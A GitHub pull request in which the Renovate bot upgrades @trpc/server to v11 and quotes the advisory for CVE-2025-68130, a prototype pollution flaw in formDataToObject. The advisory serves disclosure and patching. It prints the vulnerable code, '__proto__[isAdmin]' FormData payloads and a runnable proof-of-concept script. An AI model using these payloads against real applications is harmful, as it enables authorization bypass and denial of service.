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@renovate renovate bot commented Dec 17, 2025

This PR contains the following updates:

Package Change Age Confidence
trpcserver10 (source) ^10.45.2^11.8.0 age confidence

GitHub Vulnerability Alerts

CVE-2025-68130

Note that this vulnerability is only present when using experimental_caller / experimental_nextAppDirCaller.

Summary

A Prototype Pollution vulnerability exists in @trpc/server's formDataToObject function, which is used by the Next.js App Router adapter. An attacker can pollute Object.prototype by submitting specially crafted FormData field names, potentially leading to authorization bypass, denial of service, or other security impacts.

Affected Versions

  • Package: @trpc/server
  • Affected Versions: >=10.27.0
  • Vulnerable Component: formDataToObject() in src/unstable-core-do-not-import/http/formDataToObject.ts

Vulnerability Details

Root Cause

The set() function in formDataToObject.ts recursively processes FormData field names containing bracket/dot notation (e.g., user[name], user.address.city) to create nested objects. However, it does not validate or sanitize dangerous keys like __proto__, constructor, or prototype.

Vulnerable Code

// packages/server/src/unstable-core-do-not-import/http/formDataToObject.ts
function set(obj, path, value) {
  if (path.length > 1) {
    const newPath = [...path];
    const key = newPath.shift();  // ← No validation of dangerous keys
    const nextKey = newPath[0];

    if (!obj[key]) {  // ← Accesses obj["__proto__"] which returns Object.prototype
      obj[key] = isNumberString(nextKey) ? [] : {};
    }
    
    set(obj[key], newPath, value);  // ← Recursively pollutes Object.prototype
    return;
  }
  // ...
}

export function formDataToObject(formData) {
  const obj = {};
  for (const [key, value] of formData.entries()) {
    const parts = key.split(/[\.\[\]]/).filter(Boolean);  // Splits "__proto__[isAdmin]" → ["__proto__", "isAdmin"]
    set(obj, parts, value);
  }
  return obj;
}

Attack Vector

When a user submits a form to a tRPC mutation using Next.js Server Actions, the nextAppDirCaller adapter processes the FormData:

// packages/server/src/adapters/next-app-dir/nextAppDirCaller.ts:88-89
if (normalizeFormData && input instanceof FormData) {
  input = formDataToObject(input);  // ← Vulnerable call
}

An attacker can craft FormData with malicious field names:

const formData = new FormData();
formData.append("__proto__[isAdmin]", "true");
formData.append("__proto__[role]", "superadmin");

When processed, this pollutes Object.prototype:

{}.isAdmin        // → "true"
{}.role           // → "superadmin"

Proof of Concept

# Step 1: Create the project directory

mkdir trpc-vuln-poc
cd trpc-vuln-poc

# Step 2: Initialize npm

npm init -y

# Step 3: Install vulnerable tRPC

npm install @​trpc/server@11.7.2

# Step 4: Create the test file 

Test.js

const { formDataToObject } = require('@​trpc/server/unstable-core-do-not-import');

console.log("=== PoC Prototype Pollution en tRPC ===\n");

console.log("[1] Estado inicial:");
console.log("    {}.isAdmin =", {}.isAdmin);

const fd = new FormData();
fd.append("__proto__[isAdmin]", "true");
fd.append("__proto__[role]", "superadmin");
fd.append("username", "attacker");

console.log("\n[2] FormData malicioso:");
console.log('    __proto__[isAdmin] = "true"');
console.log('    __proto__[role] = "superadmin"');

console.log("\n[3] Llamando formDataToObject()...");
const result = formDataToObject(fd);
console.log("    Resultado:", JSON.stringify(result));

console.log("\n[4] Después del ataque:");
console.log("    {}.isAdmin =", {}.isAdmin);
console.log("    {}.role =", {}.role);

const user = { id: 1, name: "john" };
console.log("\n[5] Impacto en autorización:");
console.log("    Usuario normal:", JSON.stringify(user));
console.log("    user.isAdmin =", user.isAdmin);

if (user.isAdmin) {
    console.log("\n    VULNERABLE - Authorization bypass exitoso!");
} else {
    console.log("\n    ✓ Seguro");
}

Impact

Authorization Bypass (HIGH)

Many applications check user permissions using property access:

// Vulnerable pattern
if (user.isAdmin) {
  // Grant admin access
}

After pollution, all objects will have isAdmin: "true", bypassing authorization.

Denial of Service (MEDIUM)

Polluting commonly used property names can crash applications:

formData.append("__proto__[toString]", "not_a_function");
// All subsequent .toString() calls will fail

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Enabled.

Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

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renovate bot commented Dec 17, 2025

Branch automerge failure

This PR was configured for branch automerge. However, this is not possible, so it has been raised as a PR instead.


  • Branch has one or more failed status checks

@renovate renovate bot changed the title Update dependency trpcserver10 to v11 [SECURITY] chore(deps): update dependency trpcserver10 to v11 [security] Dec 19, 2025
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Open in StackBlitz

npm i https://pkg.pr.new/mmkal/trpc-cli@167

commit: 3f1580a

@renovate renovate bot force-pushed the renovate/npm-trpcserver10-vulnerability branch 5 times, most recently from 2d2a659 to 1c47541 Compare December 19, 2025 17:09
@renovate renovate bot changed the title chore(deps): update dependency trpcserver10 to v11 [security] Update dependency trpcserver10 to v11 [SECURITY] Dec 19, 2025
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